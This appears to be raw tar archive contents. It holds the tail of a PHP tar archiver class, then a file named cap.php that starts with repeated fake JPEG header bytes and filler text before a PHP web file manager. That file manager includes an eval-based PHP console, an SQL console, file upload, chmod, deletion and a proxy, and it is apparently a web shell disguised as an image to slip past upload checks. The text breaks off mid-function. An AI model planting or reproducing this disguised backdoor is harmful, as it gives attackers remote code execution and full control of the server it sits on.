			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           cap.php                                                                                             0000644                 00000234451 15217301621 0006027 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................<?php
/**

.........................................
.............................................................................                                                  
                                                                                                                                                                                     <?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.6;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/xml");
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
